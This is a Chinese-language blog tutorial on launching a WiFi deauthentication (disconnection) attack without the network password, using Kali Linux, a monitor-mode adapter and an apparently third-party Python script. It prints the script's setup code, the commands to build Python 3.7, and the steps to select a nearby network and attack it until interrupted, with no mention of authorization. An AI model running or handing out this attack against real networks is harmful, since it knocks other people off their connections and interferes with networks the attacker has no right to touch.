在不需要WiFi密码的情况下进行断网攻击

准备
* kali linux 系统  这里使用的是虚拟机 

2021-09-11 12-21-29 的屏幕截图.png
* 一张可以开启监听模式的网卡
* 两张网卡使用那一张都可以
IMG_20210911_120640.jpg
* 本教程使用的是 python编写的脚本代码 以下是部分代码
* 在代码中作者写了大量的注释 以供使用者参考

active_wireless_networks = []
# We use this function to test if the ESSID is already in the list file. 
# If so we return False so we don't add it again.
# If it is not in the lst we return True which will instruct the elif 
# statement to add it to the lst.
def check_for_essid(essid, lst):
    check_status = True

    # If no ESSIDs in list add the row
    if len(lst) == 0:
        return check_status
    # This will only run if there are wireless access points in the list.
    for item in lst:
        # If True don't add to list. False will add it to list
        if essid in item["ESSID"]:
            check_status = False

    return check_status
# Basic user interface header
# This is a period of output, don't want you to do it.
print(r"""______            _     _  ______                 _           _ 
|  _  \          (_)   | | | ___ \               | |         | |
| | | |__ ___   ___  __| | | |_/ / ___  _ __ ___ | |__   __ _| |
| | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | |
| |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | |
|___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""")
print("\n****************************************************************")
print("\n* Copyright of David Bombal, 2021                              *")
print("\n* https://www.davidbombal.com                                  *")
print("\n* https://www.youtube.com/davidbombal                          *")
print("\n****************************************************************")
# If the user doesn't run the program with super user privileges, don't allow them to continue.
if not 'SUDO_UID' in os.environ.keys():
    print("Try running this program with sudo.")
    exit()
# Remove .csv files before running the script.

for file_name in os.listdir():
    # We should only have one csv file as we delete them from the folder 
    #  every time we run the program.
    if ".csv" in file_name:
        print("There shouldn't be any .csv files in your directory. We found .csv files in your directory and will move them to the backup directory.")
        # We get the current working directory.
        directory = os.getcwd()
        try:
            # We make a new directory called /backup
            os.mkdir(directory + "/backup/")
        except:
            print("Backup folder exists.")
        # Create a timestamp
        timestamp = datetime.now()
        # We move any .csv files in the folder to the backup folder.
        shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name)
# Regex to find wireless interfaces. We're making the assumption they will all be wlan0 or higher.

wlan_pattern = re.compile("^wlan[0-9]+")

# Python allows is to run system commands by using a function provided by the subprocess module. 
# subprocess.run(<list of command line arguments goes here>)
# The script is the parent process and creates a child process which runs the system command, 
# and will only continue once the child process has completed.
# We run the iwconfig command to look for wireless interfaces.
check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode())
# No WiFi Adapter connected.
if len(check_wifi_result) == 0:
    print("Please connect a WiFi adapter and try again.")
    exit()
    
# Menu to select WiFi interface from
print("The following WiFi interfaces are available:")
for index, item in enumerate(check_wifi_result):
    print(f"{index} - {item}")
    
# Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from.
while True:
    wifi_interface_choice = input("Please select the interface you want to use for the attack: ")
    try:
        if check_wifi_result[int(wifi_interface_choice)]:
            break
    except:
        print("Please enter a number that corresponds with the choices available.")
具体步骤
  • 将提前准备好的 网卡插入 电脑并切换到虚拟机
  • 由于kali linux 自带的python 不是3.7而是3.6 所以要重新下载 python
  • 打开终端 输入一下命令 下载
wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tgz
  • 解压压缩包
tar -zxvf Python-3.7.0.tgz
# 将解压出来的文件夹复制到 /usr/local/  目录下
cp -r python-3.7.0 /usr/local/
  • 然后进行编译安装
./configure --enable-optimizations --prefix=/usr/local/Python-3.7/ && make && make install

  • 在进入到解压出来的文件的位置后输入
./python --version

查看版本信息
2021-09-10 18-47-22 ����Ļ��ͼ.png

  • 在下载的python文件夹里 运行 python文件 s
  • 上面的代码文件我已经放在了 ~/ 目录下
sudo ./python ~/wifi_dos_type1.py
  • 这里会提示 插入的网卡 wlan0
  • 因为这里只有一张 所以就只有一个 输入网卡前的序号
    2021-09-10 18-47-30 ����Ļ��ͼ.png
  • 这里是自动开启网卡的监听模式 来扫描附近的WiFi
  • 再按下 之后 会出现提示 在这里输入要攻击WiFi编号
    2021-09-10 18-50-42 ����Ļ��ͼ.png
  • 输入编号之后 会自动攻击知道关掉终端或者 按 ctrl + c 强行中断

2021-09-10 19-08-14 ����Ļ��ͼ.png

posted @ 2024-10-09 19:30  ZapcoMan  阅读(9)  评论(0编辑  收藏  举报